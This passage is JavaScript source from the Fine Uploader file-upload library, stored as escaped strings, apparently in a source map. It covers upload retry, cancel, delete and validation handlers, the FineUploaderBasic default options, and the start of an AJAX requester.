responseJSON[self._options.retry.preventRetryResponseProperty];\n\n            if (self._shouldAutoRetry(id, name, responseJSON)) {\n                self._maybeParseAndSendUploadError.apply(self, arguments);\n                self._options.callbacks.onAutoRetry(id, name, self._autoRetries[id]);\n                self._onBeforeAutoRetry(id, name);\n\n                self._retryTimeouts[id] = setTimeout(function() {\n                    self.log(\"Retrying \" + name + \"...\");\n                    self._uploadData.setStatus(id, qq.status.UPLOAD_RETRYING);\n\n                    if (callback) {\n                        callback(id);\n                    }\n                    else {\n                        self._handler.retry(id);\n                    }\n                }, self._options.retry.autoAttemptDelay * 1000);\n\n                return true;\n            }\n        },\n\n        _onBeforeAutoRetry: function(id, name) {\n            this.log(\"Waiting \" + this._options.retry.autoAttemptDelay + \" seconds before retrying \" + name + \"...\");\n        },\n\n        //return false if we should not attempt the requested retry\n        _onBeforeManualRetry: function(id) {\n            var itemLimit = this._currentItemLimit,\n                fileName;\n\n            if (this._preventRetries[id]) {\n                this.log(\"Retries are forbidden for id \" + id, \"warn\");\n                return false;\n            }\n            else if (this._handler.isValid(id)) {\n                fileName = this.getName(id);\n\n                if (this._options.callbacks.onManualRetry(id, fileName) === false) {\n                    return false;\n                }\n\n                if (itemLimit > 0 && this._netUploadedOrQueued + 1 > itemLimit) {\n                    this._itemError(\"retryFailTooManyItems\");\n                    return false;\n                }\n\n                this.log(\"Retrying upload for '\" + fileName + \"' (id: \" + id + \")...\");\n                return true;\n            }\n            else {\n                this.log(\"'\" + id + \"' is not a valid file ID\", \"error\");\n                return false;\n            }\n        },\n\n        _onCancel: function(id, name) {\n            this._netUploadedOrQueued--;\n\n            clearTimeout(this._retryTimeouts[id]);\n\n            var storedItemIndex = qq.indexOf(this._storedIds, id);\n            if (!this._options.autoUpload && storedItemIndex >= 0) {\n                this._storedIds.splice(storedItemIndex, 1);\n            }\n\n            this._uploadData.setStatus(id, qq.status.CANCELED);\n        },\n\n        _onComplete: function(id, name, result, xhr) {\n            if (!result.success) {\n                this._netUploadedOrQueued--;\n                this._uploadData.setStatus(id, qq.status.UPLOAD_FAILED);\n\n                if (result[this._options.retry.preventRetryResponseProperty] === true) {\n                    this._preventRetries[id] = true;\n                }\n            }\n            else {\n                if (result.thumbnailUrl) {\n                    this._thumbnailUrls[id] = result.thumbnailUrl;\n                }\n\n                this._netUploaded++;\n                this._uploadData.setStatus(id, qq.status.UPLOAD_SUCCESSFUL);\n            }\n\n            this._maybeParseAndSendUploadError(id, name, result, xhr);\n\n            return result.success ? true : false;\n        },\n\n        _onDelete: function(id) {\n            this._uploadData.setStatus(id, qq.status.DELETING);\n        },\n\n        _onDeleteComplete: function(id, xhrOrXdr, isError) {\n            var name = this.getName(id);\n\n            if (isError) {\n                this._uploadData.setStatus(id, qq.status.DELETE_FAILED);\n                this.log(\"Delete request for '\" + name + \"' has failed.\", \"error\");\n\n                // For error reporting, we only have access to the response status if this is not\n                // an `XDomainRequest`.\n                if (xhrOrXdr.withCredentials === undefined) {\n                    this._options.callbacks.onError(id, name, \"Delete request failed\", xhrOrXdr);\n                }\n                else {\n                    this._options.callbacks.onError(id, name, \"Delete request failed with response code \" + xhrOrXdr.status, xhrOrXdr);\n                }\n            }\n            else {\n                this._netUploadedOrQueued--;\n                this._netUploaded--;\n                this._handler.expunge(id);\n                this._uploadData.setStatus(id, qq.status.DELETED);\n                this.log(\"Delete request for '\" + name + \"' has succeeded.\");\n            }\n        },\n\n        _onInputChange: function(input) {\n            var fileIndex;\n\n            if (qq.supportedFeatures.ajaxUploading) {\n                for (fileIndex = 0; fileIndex < input.files.length; fileIndex++) {\n                    this._annotateWithButtonId(input.files[fileIndex], input);\n                }\n\n                this.addFiles(input.files);\n            }\n            // Android 2.3.x will fire `onchange` even if no file has been selected\n            else if (input.value.length > 0) {\n                this.addFiles(input);\n            }\n\n            qq.each(this._buttons, function(idx, button) {\n                button.reset();\n            });\n        },\n\n        _onProgress: function(id, name, loaded, total) {\n            this._totalProgress && this._totalProgress.onIndividualProgress(id, loaded, total);\n        },\n\n        _onSubmit: function(id, name) {\n            //nothing to do yet in core uploader\n        },\n\n        _onSubmitCallbackSuccess: function(id, name) {\n            this._onSubmit.apply(this, arguments);\n            this._uploadData.setStatus(id, qq.status.SUBMITTED);\n            this._onSubmitted.apply(this, arguments);\n\n            if (this._options.autoUpload) {\n                this._options.callbacks.onSubmitted.apply(this, arguments);\n                this._uploadFile(id);\n            }\n            else {\n                this._storeForLater(id);\n                this._options.callbacks.onSubmitted.apply(this, arguments);\n            }\n        },\n\n        _onSubmitDelete: function(id, onSuccessCallback, additionalMandatedParams) {\n            var uuid = this.getUuid(id),\n                adjustedOnSuccessCallback;\n\n            if (onSuccessCallback) {\n                adjustedOnSuccessCallback = qq.bind(onSuccessCallback, this, id, uuid, additionalMandatedParams);\n            }\n\n            if (this._isDeletePossible()) {\n                this._handleCheckedCallback({\n                    name: \"onSubmitDelete\",\n                    callback: qq.bind(this._options.callbacks.onSubmitDelete, this, id),\n                    onSuccess: adjustedOnSuccessCallback ||\n                        qq.bind(this._deleteHandler.sendDelete, this, id, uuid, additionalMandatedParams),\n                    identifier: id\n                });\n                return true;\n            }\n            else {\n                this.log(\"Delete request ignored for ID \" + id + \", delete feature is disabled or request not possible \" +\n                    \"due to CORS on a user agent that does not support pre-flighting.\", \"warn\");\n                return false;\n            }\n        },\n\n        _onSubmitted: function(id) {\n            //nothing to do in the base uploader\n        },\n\n        _onTotalProgress: function(loaded, total) {\n            this._options.callbacks.onTotalProgress(loaded, total);\n        },\n\n        _onUploadPrep: function(id) {\n            // nothing to do in the core uploader for now\n        },\n\n        _onUpload: function(id, name) {\n            this._uploadData.setStatus(id, qq.status.UPLOADING);\n        },\n\n        _onUploadChunk: function(id, chunkData) {\n            //nothing to do in the base uploader\n        },\n\n        _onUploadStatusChange: function(id, oldStatus, newStatus) {\n            // Make sure a \"queued\" retry attempt is canceled if the upload has been paused\n            if (newStatus === qq.status.PAUSED) {\n                clearTimeout(this._retryTimeouts[id]);\n            }\n        },\n\n        _onValidateBatchCallbackFailure: function(fileWrappers) {\n            var self = this;\n\n            qq.each(fileWrappers, function(idx, fileWrapper) {\n                self._fileOrBlobRejected(fileWrapper.id);\n            });\n        },\n\n        _onValidateBatchCallbackSuccess: function(validationDescriptors, items, params, endpoint, button) {\n            var errorMessage,\n                itemLimit = this._currentItemLimit,\n                proposedNetFilesUploadedOrQueued = this._netUploadedOrQueued;\n\n            if (itemLimit === 0 || proposedNetFilesUploadedOrQueued <= itemLimit) {\n                if (items.length > 0) {\n                    this._handleCheckedCallback({\n                        name: \"onValidate\",\n                        callback: qq.bind(this._options.callbacks.onValidate, this, validationDescriptors[0], button),\n                        onSuccess: qq.bind(this._onValidateCallbackSuccess, this, items, 0, params, endpoint),\n                        onFailure: qq.bind(this._onValidateCallbackFailure, this, items, 0, params, endpoint),\n                        identifier: \"Item '\" + items[0].file.name + \"', size: \" + items[0].file.size\n                    });\n                }\n                else {\n                    this._itemError(\"noFilesError\");\n                }\n            }\n            else {\n                this._onValidateBatchCallbackFailure(items);\n                errorMessage = this._options.messages.tooManyItemsError\n                    .replace(/\\{netItems\\}/g, proposedNetFilesUploadedOrQueued)\n                    .replace(/\\{itemLimit\\}/g, itemLimit);\n                this._batchError(errorMessage);\n            }\n        },\n\n        _onValidateCallbackFailure: function(items, index, params, endpoint) {\n            var nextIndex = index + 1;\n\n            this._fileOrBlobRejected(items[index].id, items[index].file.name);\n\n            this._maybeProcessNextItemAfterOnValidateCallback(false, items, nextIndex, params, endpoint);\n        },\n\n        _onValidateCallbackSuccess: function(items, index, params, endpoint) {\n            var self = this,\n                nextIndex = index + 1,\n                validationDescriptor = this._getValidationDescriptor(items[index]);\n\n            this._validateFileOrBlobData(items[index], validationDescriptor)\n                .then(\n                function() {\n                    self._upload(items[index].id, params, endpoint);\n                    self._maybeProcessNextItemAfterOnValidateCallback(true, items, nextIndex, params, endpoint);\n                },\n                function() {\n                    self._maybeProcessNextItemAfterOnValidateCallback(false, items, nextIndex, params, endpoint);\n                }\n            );\n        },\n\n        _prepareItemsForUpload: function(items, params, endpoint) {\n            if (items.length === 0) {\n                this._itemError(\"noFilesError\");\n                return;\n            }\n\n            var validationDescriptors = this._getValidationDescriptors(items),\n                buttonId = this._getButtonId(items[0].file),\n                button = this._getButton(buttonId);\n\n            this._handleCheckedCallback({\n                name: \"onValidateBatch\",\n                callback: qq.bind(this._options.callbacks.onValidateBatch, this, validationDescriptors, button),\n                onSuccess: qq.bind(this._onValidateBatchCallbackSuccess, this, validationDescriptors, items, params, endpoint, button),\n                onFailure: qq.bind(this._onValidateBatchCallbackFailure, this, items),\n                identifier: \"batch validation\"\n            });\n        },\n\n        _preventLeaveInProgress: function() {\n            var self = this;\n\n            this._disposeSupport.attach(window, \"beforeunload\", function(e) {\n                if (self.getInProgress()) {\n                    e = e || window.event;\n                    // for ie, ff\n                    e.returnValue = self._options.messages.onLeave;\n                    // for webkit\n                    return self._options.messages.onLeave;\n                }\n            });\n        },\n\n        // Attempts to refresh session data only if the `qq.Session` module exists\n        // and a session endpoint has been specified.  The `onSessionRequestComplete`\n        // callback will be invoked once the refresh is complete.\n        _refreshSessionData: function() {\n            var self = this,\n                options = this._options.session;\n\n            /* jshint eqnull:true */\n            if (qq.Session && this._options.session.endpoint != null) {\n                if (!this._session) {\n                    qq.extend(options, {cors: this._options.cors});\n\n                    options.log = qq.bind(this.log, this);\n                    options.addFileRecord = qq.bind(this._addCannedFile, this);\n\n                    this._session = new qq.Session(options);\n                }\n\n                setTimeout(function() {\n                    self._session.refresh().then(function(response, xhrOrXdr) {\n                        self._sessionRequestComplete();\n                        self._options.callbacks.onSessionRequestComplete(response, true, xhrOrXdr);\n\n                    }, function(response, xhrOrXdr) {\n\n                        self._options.callbacks.onSessionRequestComplete(response, false, xhrOrXdr);\n                    });\n                }, 0);\n            }\n        },\n\n        _sessionRequestComplete: function() {},\n\n        _setSize: function(id, newSize) {\n            this._uploadData.updateSize(id, newSize);\n            this._totalProgress && this._totalProgress.onNewSize(id);\n        },\n\n        _shouldAutoRetry: function(id, name, responseJSON) {\n            var uploadData = this._uploadData.retrieve({id: id});\n\n            /*jshint laxbreak: true */\n            if (!this._preventRetries[id]\n                && this._options.retry.enableAuto\n                && uploadData.status !== qq.status.PAUSED) {\n\n                if (this._autoRetries[id] === undefined) {\n                    this._autoRetries[id] = 0;\n                }\n\n                if (this._autoRetries[id] < this._options.retry.maxAutoAttempts) {\n                    this._autoRetries[id] += 1;\n                    return true;\n                }\n            }\n\n            return false;\n        },\n\n        _storeForLater: function(id) {\n            this._storedIds.push(id);\n        },\n\n        // Maps a file with the button that was used to select it.\n        _trackButton: function(id) {\n            var buttonId;\n\n            if (qq.supportedFeatures.ajaxUploading) {\n                buttonId = this._handler.getFile(id).qqButtonId;\n            }\n            else {\n                buttonId = this._getButtonId(this._handler.getInput(id));\n            }\n\n            if (buttonId) {\n                this._buttonIdsForFileIds[id] = buttonId;\n            }\n        },\n\n        _updateFormSupportAndParams: function(formElementOrId) {\n            this._options.form.element = formElementOrId;\n\n            this._formSupport = qq.FormSupport && new qq.FormSupport(\n                    this._options.form, qq.bind(this.uploadStoredFiles, this), qq.bind(this.log, this)\n                );\n\n            if (this._formSupport && this._formSupport.attachedToForm) {\n                this._paramsStore.addReadOnly(null, this._formSupport.getFormInputsAsObject);\n\n                this._options.autoUpload = this._formSupport.newAutoUpload;\n                if (this._formSupport.newEndpoint) {\n                    this.setEndpoint(this._formSupport.newEndpoint);\n                }\n            }\n        },\n\n        _upload: function(id, params, endpoint) {\n            var name = this.getName(id);\n\n            if (params) {\n                this.setParams(params, id);\n            }\n\n            if (endpoint) {\n                this.setEndpoint(endpoint, id);\n            }\n\n            this._handleCheckedCallback({\n                name: \"onSubmit\",\n                callback: qq.bind(this._options.callbacks.onSubmit, this, id, name),\n                onSuccess: qq.bind(this._onSubmitCallbackSuccess, this, id, name),\n                onFailure: qq.bind(this._fileOrBlobRejected, this, id, name),\n                identifier: id\n            });\n        },\n\n        _uploadFile: function(id) {\n            if (!this._handler.upload(id)) {\n                this._uploadData.setStatus(id, qq.status.QUEUED);\n            }\n        },\n\n        _uploadStoredFiles: function() {\n            var idToUpload, stillSubmitting,\n                self = this;\n\n            while (this._storedIds.length) {\n                idToUpload = this._storedIds.shift();\n                this._uploadFile(idToUpload);\n            }\n\n            // If we are still waiting for some files to clear validation, attempt to upload these again in a bit\n            stillSubmitting = this.getUploads({status: qq.status.SUBMITTING}).length;\n            if (stillSubmitting) {\n                qq.log(\"Still waiting for \" + stillSubmitting + \" files to clear submit queue. Will re-parse stored IDs array shortly.\");\n                setTimeout(function() {\n                    self._uploadStoredFiles();\n                }, 1000);\n            }\n        },\n\n        /**\n         * Performs some internal validation checks on an item, defined in the `validation` option.\n         *\n         * @param fileWrapper Wrapper containing a `file` along with an `id`\n         * @param validationDescriptor Normalized information about the item (`size`, `name`).\n         * @returns qq.Promise with appropriate callbacks invoked depending on the validity of the file\n         * @private\n         */\n        _validateFileOrBlobData: function(fileWrapper, validationDescriptor) {\n            var self = this,\n                file = (function() {\n                    if (fileWrapper.file instanceof qq.BlobProxy) {\n                        return fileWrapper.file.referenceBlob;\n                    }\n                    return fileWrapper.file;\n                }()),\n                name = validationDescriptor.name,\n                size = validationDescriptor.size,\n                buttonId = this._getButtonId(fileWrapper.file),\n                validationBase = this._getValidationBase(buttonId),\n                validityChecker = new qq.Promise();\n\n            validityChecker.then(\n                function() {},\n                function() {\n                    self._fileOrBlobRejected(fileWrapper.id, name);\n                });\n\n            if (qq.isFileOrInput(file) && !this._isAllowedExtension(validationBase.allowedExtensions, name)) {\n                this._itemError(\"typeError\", name, file);\n                return validityChecker.failure();\n            }\n\n            if (size === 0) {\n                this._itemError(\"emptyError\", name, file);\n                return validityChecker.failure();\n            }\n\n            if (size > 0 && validationBase.sizeLimit && size > validationBase.sizeLimit) {\n                this._itemError(\"sizeError\", name, file);\n                return validityChecker.failure();\n            }\n\n            if (size > 0 && size < validationBase.minSizeLimit) {\n                this._itemError(\"minSizeError\", name, file);\n                return validityChecker.failure();\n            }\n\n            if (qq.ImageValidation && qq.supportedFeatures.imagePreviews && qq.isFile(file)) {\n                new qq.ImageValidation(file, qq.bind(self.log, self)).validate(validationBase.image).then(\n                    validityChecker.success,\n                    function(errorCode) {\n                        self._itemError(errorCode + \"ImageError\", name, file);\n                        validityChecker.failure();\n                    }\n                );\n            }\n            else {\n                validityChecker.success();\n            }\n\n            return validityChecker;\n        },\n\n        _wrapCallbacks: function() {\n            var self, safeCallback, prop;\n\n            self = this;\n\n            safeCallback = function(name, callback, args) {\n                var errorMsg;\n\n                try {\n                    return callback.apply(self, args);\n                }\n                catch (exception) {\n                    errorMsg = exception.message || exception.toString();\n                    self.log(\"Caught exception in '\" + name + \"' callback - \" + errorMsg, \"error\");\n                }\n            };\n\n            /* jshint forin: false, loopfunc: true */\n            for (prop in this._options.callbacks) {\n                (function() {\n                    var callbackName, callbackFunc;\n                    callbackName = prop;\n                    callbackFunc = self._options.callbacks[callbackName];\n                    self._options.callbacks[callbackName] = function() {\n                        return safeCallback(callbackName, callbackFunc, arguments);\n                    };\n                }());\n            }\n        }\n    };\n}());\n","/*globals qq*/\n(function() {\n    \"use strict\";\n\n    qq.FineUploaderBasic = function(o) {\n        var self = this;\n\n        // These options define FineUploaderBasic mode.\n        this._options = {\n            debug: false,\n            button: null,\n            multiple: true,\n            maxConnections: 3,\n            disableCancelForFormUploads: false,\n            autoUpload: true,\n\n            request: {\n                customHeaders: {},\n                endpoint: \"/server/upload\",\n                filenameParam: \"qqfilename\",\n                forceMultipart: true,\n                inputName: \"qqfile\",\n                method: \"POST\",\n                params: {},\n                paramsInBody: true,\n                totalFileSizeName: \"qqtotalfilesize\",\n                uuidName: \"qquuid\"\n            },\n\n            validation: {\n                allowedExtensions: [],\n                sizeLimit: 0,\n                minSizeLimit: 0,\n                itemLimit: 0,\n                stopOnFirstInvalidFile: true,\n                acceptFiles: null,\n                image: {\n                    maxHeight: 0,\n                    maxWidth: 0,\n                    minHeight: 0,\n                    minWidth: 0\n                }\n            },\n\n            callbacks: {\n                onSubmit: function(id, name) {},\n                onSubmitted: function(id, name) {},\n                onComplete: function(id, name, responseJSON, maybeXhr) {},\n                onAllComplete: function(successful, failed) {},\n                onCancel: function(id, name) {},\n                onUpload: function(id, name) {},\n                onUploadChunk: function(id, name, chunkData) {},\n                onUploadChunkSuccess: function(id, chunkData, responseJSON, xhr) {},\n                onResume: function(id, fileName, chunkData) {},\n                onProgress: function(id, name, loaded, total) {},\n                onTotalProgress: function(loaded, total) {},\n                onError: function(id, name, reason, maybeXhrOrXdr) {},\n                onAutoRetry: function(id, name, attemptNumber) {},\n                onManualRetry: function(id, name) {},\n                onValidateBatch: function(fileOrBlobData) {},\n                onValidate: function(fileOrBlobData) {},\n                onSubmitDelete: function(id) {},\n                onDelete: function(id) {},\n                onDeleteComplete: function(id, xhrOrXdr, isError) {},\n                onPasteReceived: function(blob) {},\n                onStatusChange: function(id, oldStatus, newStatus) {},\n                onSessionRequestComplete: function(response, success, xhrOrXdr) {}\n            },\n\n            messages: {\n                typeError: \"{file} has an invalid extension. Valid extension(s): {extensions}.\",\n                sizeError: \"{file} is too large, maximum file size is {sizeLimit}.\",\n                minSizeError: \"{file} is too small, minimum file size is {minSizeLimit}.\",\n                emptyError: \"{file} is empty, please select files again without it.\",\n                noFilesError: \"No files to upload.\",\n                tooManyItemsError: \"Too many items ({netItems}) would be uploaded.  Item limit is {itemLimit}.\",\n                maxHeightImageError: \"Image is too tall.\",\n                maxWidthImageError: \"Image is too wide.\",\n                minHeightImageError: \"Image is not tall enough.\",\n                minWidthImageError: \"Image is not wide enough.\",\n                retryFailTooManyItems: \"Retry failed - you have reached your file limit.\",\n                onLeave: \"The files are being uploaded, if you leave now the upload will be canceled.\",\n                unsupportedBrowserIos8Safari: \"Unrecoverable error - this browser does not permit file uploading of any kind due to serious bugs in iOS8 Safari.  Please use iOS8 Chrome until Apple fixes these issues.\"\n            },\n\n            retry: {\n                enableAuto: false,\n                maxAutoAttempts: 3,\n                autoAttemptDelay: 5,\n                preventRetryResponseProperty: \"preventRetry\"\n            },\n\n            classes: {\n                buttonHover: \"qq-upload-button-hover\",\n                buttonFocus: \"qq-upload-button-focus\"\n            },\n\n            chunking: {\n                enabled: false,\n                concurrent: {\n                    enabled: false\n                },\n                mandatory: false,\n                paramNames: {\n                    partIndex: \"qqpartindex\",\n                    partByteOffset: \"qqpartbyteoffset\",\n                    chunkSize: \"qqchunksize\",\n                    totalFileSize: \"qqtotalfilesize\",\n                    totalParts: \"qqtotalparts\"\n                },\n                partSize: 2000000,\n                // only relevant for traditional endpoints, only required when concurrent.enabled === true\n                success: {\n                    endpoint: null\n                }\n            },\n\n            resume: {\n                enabled: false,\n                recordsExpireIn: 7, //days\n                paramNames: {\n                    resuming: \"qqresume\"\n                }\n            },\n\n            formatFileName: function(fileOrBlobName) {\n                return fileOrBlobName;\n            },\n\n            text: {\n                defaultResponseError: \"Upload failure reason unknown\",\n                fileInputTitle: \"file input\",\n                sizeSymbols: [\"kB\", \"MB\", \"GB\", \"TB\", \"PB\", \"EB\"]\n            },\n\n            deleteFile: {\n                enabled: false,\n                method: \"DELETE\",\n                endpoint: \"/server/upload\",\n                customHeaders: {},\n                params: {}\n            },\n\n            cors: {\n                expected: false,\n                sendCredentials: false,\n                allowXdr: false\n            },\n\n            blobs: {\n                defaultName: \"misc_data\"\n            },\n\n            paste: {\n                targetElement: null,\n                defaultName: \"pasted_image\"\n            },\n\n            camera: {\n                ios: false,\n\n                // if ios is true: button is null means target the default button, otherwise target the button specified\n                button: null\n            },\n\n            // This refers to additional upload buttons to be handled by Fine Uploader.\n            // Each element is an object, containing `element` as the only required\n            // property.  The `element` must be a container that will ultimately\n            // contain an invisible `<input type=\"file\">` created by Fine Uploader.\n            // Optional properties of each object include `multiple`, `validation`,\n            // and `folders`.\n            extraButtons: [],\n\n            // Depends on the session module.  Used to query the server for an initial file list\n            // during initialization and optionally after a `reset`.\n            session: {\n                endpoint: null,\n                params: {},\n                customHeaders: {},\n                refreshOnReset: true\n            },\n\n            // Send parameters associated with an existing form along with the files\n            form: {\n                // Element ID, HTMLElement, or null\n                element: \"qq-form\",\n\n                // Overrides the base `autoUpload`, unless `element` is null.\n                autoUpload: false,\n\n                // true = upload files on form submission (and squelch submit event)\n                interceptSubmit: true\n            },\n\n            // scale images client side, upload a new file for each scaled version\n            scaling: {\n                customResizer: null,\n\n                // send the original file as well\n                sendOriginal: true,\n\n                // fox orientation for scaled images\n                orient: true,\n\n                // If null, scaled image type will match reference image type.  This value will be referred to\n                // for any size record that does not specific a type.\n                defaultType: null,\n\n                defaultQuality: 80,\n\n                failureText: \"Failed to scale\",\n\n                includeExif: false,\n\n                // metadata about each requested scaled version\n                sizes: []\n            },\n\n            workarounds: {\n                iosEmptyVideos: true,\n                ios8SafariUploads: true,\n                ios8BrowserCrash: false\n            }\n        };\n\n        // Replace any default options with user defined ones\n        qq.extend(this._options, o, true);\n\n        this._buttons = [];\n        this._extraButtonSpecs = {};\n        this._buttonIdsForFileIds = [];\n\n        this._wrapCallbacks();\n        this._disposeSupport =  new qq.DisposeSupport();\n\n        this._storedIds = [];\n        this._autoRetries = [];\n        this._retryTimeouts = [];\n        this._preventRetries = [];\n        this._thumbnailUrls = [];\n\n        this._netUploadedOrQueued = 0;\n        this._netUploaded = 0;\n        this._uploadData = this._createUploadDataTracker();\n\n        this._initFormSupportAndParams();\n\n        this._customHeadersStore = this._createStore(this._options.request.customHeaders);\n        this._deleteFileCustomHeadersStore = this._createStore(this._options.deleteFile.customHeaders);\n\n        this._deleteFileParamsStore = this._createStore(this._options.deleteFile.params);\n\n        this._endpointStore = this._createStore(this._options.request.endpoint);\n        this._deleteFileEndpointStore = this._createStore(this._options.deleteFile.endpoint);\n\n        this._handler = this._createUploadHandler();\n\n        this._deleteHandler = qq.DeleteFileAjaxRequester && this._createDeleteHandler();\n\n        if (this._options.button) {\n            this._defaultButtonId = this._createUploadButton({\n                element: this._options.button,\n                title: this._options.text.fileInputTitle\n            }).getButtonId();\n        }\n\n        this._generateExtraButtonSpecs();\n\n        this._handleCameraAccess();\n\n        if (this._options.paste.targetElement) {\n            if (qq.PasteSupport) {\n                this._pasteHandler = this._createPasteHandler();\n            }\n            else {\n                this.log(\"Paste support module not found\", \"error\");\n            }\n        }\n\n        this._preventLeaveInProgress();\n\n        this._imageGenerator = qq.ImageGenerator && new qq.ImageGenerator(qq.bind(this.log, this));\n        this._refreshSessionData();\n\n        this._succeededSinceLastAllComplete = [];\n        this._failedSinceLastAllComplete = [];\n\n        this._scaler = (qq.Scaler && new qq.Scaler(this._options.scaling, qq.bind(this.log, this))) || {};\n        if (this._scaler.enabled) {\n            this._customNewFileHandler = qq.bind(this._scaler.handleNewFile, this._scaler);\n        }\n\n        if (qq.TotalProgress && qq.supportedFeatures.progressBar) {\n            this._totalProgress = new qq.TotalProgress(\n                qq.bind(this._onTotalProgress, this),\n\n                function(id) {\n                    var entry = self._uploadData.retrieve({id: id});\n                    return (entry && entry.size) || 0;\n                }\n            );\n        }\n\n        this._currentItemLimit = this._options.validation.itemLimit;\n    };\n\n    // Define the private & public API methods.\n    qq.FineUploaderBasic.prototype = qq.basePublicApi;\n    qq.extend(qq.FineUploaderBasic.prototype, qq.basePrivateApi);\n}());\n","/*globals qq, XDomainRequest*/\n/** Generic class for sending non-upload ajax requests and handling the associated responses **/\nqq.AjaxRequester = function(o) {\n    \"use strict\";\n\n    var log, shouldParamsBeInQueryString,\n        queue = [],\n        requestData = {},\n        options = {\n            acceptHeader: null,\n            validMethods: [\"PATCH\", \"POST\", \"PUT\"],\n            method: \"POST\",\n            contentType: \"application/x-www-form-urlencoded\",\n            maxConnections: 3,\n            customHeaders: {},\n            endpointStore: {},\n            paramsStore: {},\n            mandatedParams: {},\n            allowXRequestedWithAndCacheControl: true,\n            successfulResponseCodes: {\n                DELETE: [200, 202, 204],\n                PATCH: [200, 201, 202, 203, 204],\n                POST: [200, 201, 202, 203, 204],\n                PUT: [200, 201, 202, 203, 204],\n                GET: [200]\n            },\n            cors: {\n                expected: false,\n                sendCredentials: false\n            },\n            log: function(str, level) {},\n            onSend: function(id) {},\n            onComplete: function(id, xhrOrXdr, isError) {},\n            onProgress: null\n        };\n\n    qq.extend(options, o);\n    log = options.log;\n\n    if (qq.indexOf(options.validMethods, options.method) < 0) {\n        throw new Error(\"'\" + options.method + \"' is not a supported method for this type of request!\");\n    }\n\n    // [Simple methods](http://www.w3.org/TR/cors/#simple-method)\n    // are defined by the W3C in the CORS spec as a list of methods that, in part,\n    // make a CORS request eligible to be exempt from preflighting.\n    function isSimpleMethod() {\n        return qq.indexOf([\"GET\", \"POST\", \"HEAD\"], options.method) >= 0;\n    }\n\n    // [Simple headers](http://www.w3.org/TR/cors/#simple-header)\n    // are defined by the W3C in the CORS spec as a list of headers that, in part,\n    // make a CORS request eligible to be exempt from preflighting.\n    function containsNonSimpleHeaders(headers) {\n        var containsNonSimple = false;\n\n        qq.each(containsNonSimple, function(idx, header) {\n            if (qq.indexOf([\"Accept\", \"Accept-Language\", \"Content-Language\", \"Content-Type\"], header) < 0) {\n                containsNonSimple = true;\n                return false;\n            }\n        });\n\n        return containsNonSimple;\n    }\n\n    function isXdr(xhr) {\n        //The `withCredentials` test is a commonly accepted way to determine if XHR supports CORS.\n        return options.cors.expected && xhr.withCredentials === undefined;\n    }\n\n    // Returns either a new `XMLHttpRequest` or `XDomainRequest` instance.\n    function getCorsAjaxTransport() {\n        var xhrOrXdr;\n\n        if (window.XMLHttpRequest || window.ActiveXObject) {\n            xhrOrXdr = qq.createXhrInstance();\n\n            if (xhrOrXdr.withCredentials === undefined) {\n                xhrOrXdr = new XDomainRequest();\n                // Workaround for XDR bug in IE9 - https://social.msdn.microsoft.com/Forums/ie/en-US/30ef3add-767c-4436-b8a9-f1ca19b4812e/ie9-rtm-xdomainrequest-issued-requests-may-abort-if-all-event-handlers-not-specified?forum=iewebdevelopment\n                xhrOrXdr.onload = function() {};\n                xhrOrXdr.onerror = function() {};\n                xhrOrXdr.ontimeout = function() {};\n                xhrOrXdr.onprogress = function() {};\n            }\n        }\n\n        return xhrOrXdr;\n    }\n\n    // Returns either a new XHR/XDR instance, or an existing one for the associated `File` or `Blob`.\n    function getXhrOrXdr(id, suppliedXhr) {\n        var xhrOrXdr = requestData[id].xhr;\n\n        if (!xhrOrXdr) {\n            if (suppliedXhr) {\n                xhrOrXdr = suppliedXhr;\n            }\n            else {\n                if (options.cors.expected) {\n                    xhrOrXdr = getCorsAjaxTransport();\n                }\n                else {\n                    xhrOrXdr = qq.createXhrInstance();\n                }\n            }\n\n            requestData[id].xhr = xhrOrXdr;\n        }\n\n        return xhrOrXdr;\n    }\n\n    // Removes element from queue, sends next request\n    function dequeue(id) {\n        var i = qq.indexOf(queue, id),\n            max = options.maxConnections,\n            nextId;\n\n        delete requestData[id];\n        queue.splice(i, 1);\n\n        if (queue.length >= max && i < max) {\n            nextId = queue[max - 1];\n            sendRequest(nextId);\n        }\n    }\n\n    function onComplete(id, xdrError) {\n        var xhr = getXhrOrXdr(id),\n            method = options.method,\n            isError = xdrError === true;\n\n        dequeue(id);\n\n        if (isError) {\n            log(method + \" request for \" + id + \" has failed\", \"error\");\n        }\n        else if (!isXdr(xhr) && !isResponseSuccessful(xhr.status)) {\n            isError = true;\n            log(method + \" request for \" + id + \" has failed - response code \" + xhr.status, \"error\");\n        }\n\n        options.onComplete(id, xhr, isError);\n    }\n\n    function getParams(id) {\n        var onDemandParams = requestData[id].additionalParams,\n            mandatedParams = options.mandatedParams,\n            params;\n\n        if (options.paramsStore.get) {\n            params = options.paramsStore.get(id);\n        }\n\n        if (onDemandParams) {\n            qq.each(onDemandParams, function(name, val) {\n                params = params || {};\n                params[name] = val;\n            });\n        }\n\n        if (mandatedParams) {\n            qq.each(mandatedParams, function(name, val) {\n                params = params || {};\n                params[name] = val;\n            });\n        }\n\n        return params;\n    }\n\n    function sendRequest(id, optXhr) {\n        var xhr = getXhrOrXdr(id, optXhr),\n            method = options.method,\n            params = getParams(id),\n            payload = requestData[id].payload,\n            url;\n\n        options.onSend(id);\n\n        url = createUrl(id, params, requestData[id].additionalQueryParams);\n\n        // XDR and XHR status detection APIs differ a bit.\n        if (isXdr(xhr)) {\n            xhr.onload = getXdrLoadHandler(id);\n            xhr.onerror = getXdrErrorHandler(id);\n        }\n        else {\n            xhr.onreadystatechange = getXhrReadyStateChangeHandler(id);\n        }\n\n        registerForUploadProgress(id);\n\n        // The last parameter is assumed to be ignored if we are actually using `XDomainRequest`.\n        xhr.open(method, url, true);\n\n        // Instruct the transport to send cookies along with the CORS request,\n        // unless we are using `XDomainRequest`, which is not capable of this.\n        if (options.cors.expected && options.cors.sendCredentials && !isXdr(xhr)) {\n            xhr.withCredentials = true;\n        }\n\n        setHeaders(id);\n\n        log(\"Sending \" + method + \" request for \" + id);\n\n        if (payload) {\n            xhr.send(payload);\n        }\n        else if (shouldParamsBeInQueryString || !params) {\n            xhr.send();\n        }\n        else if (params && options.contentType && options.contentType.toLowerCase().indexOf(\"application/x-www-form-urlencoded\") >= 0) {\n            xhr.send(qq.obj2url(params, \"\"));\n        }\n        else if (params && options.contentType && options.contentType.toLowerCase().indexOf(\"application/json\") >= 0) {\n            xhr.send(JSON.stringify(params));\n        }\n        else {\n            xhr.send(params);\n        }\n\n        return xhr;\n    }\n\n    function createUrl(id, params, additionalQueryParams) {\n        var endpoint = options.endpointStore.get(id),\n            addToPath = 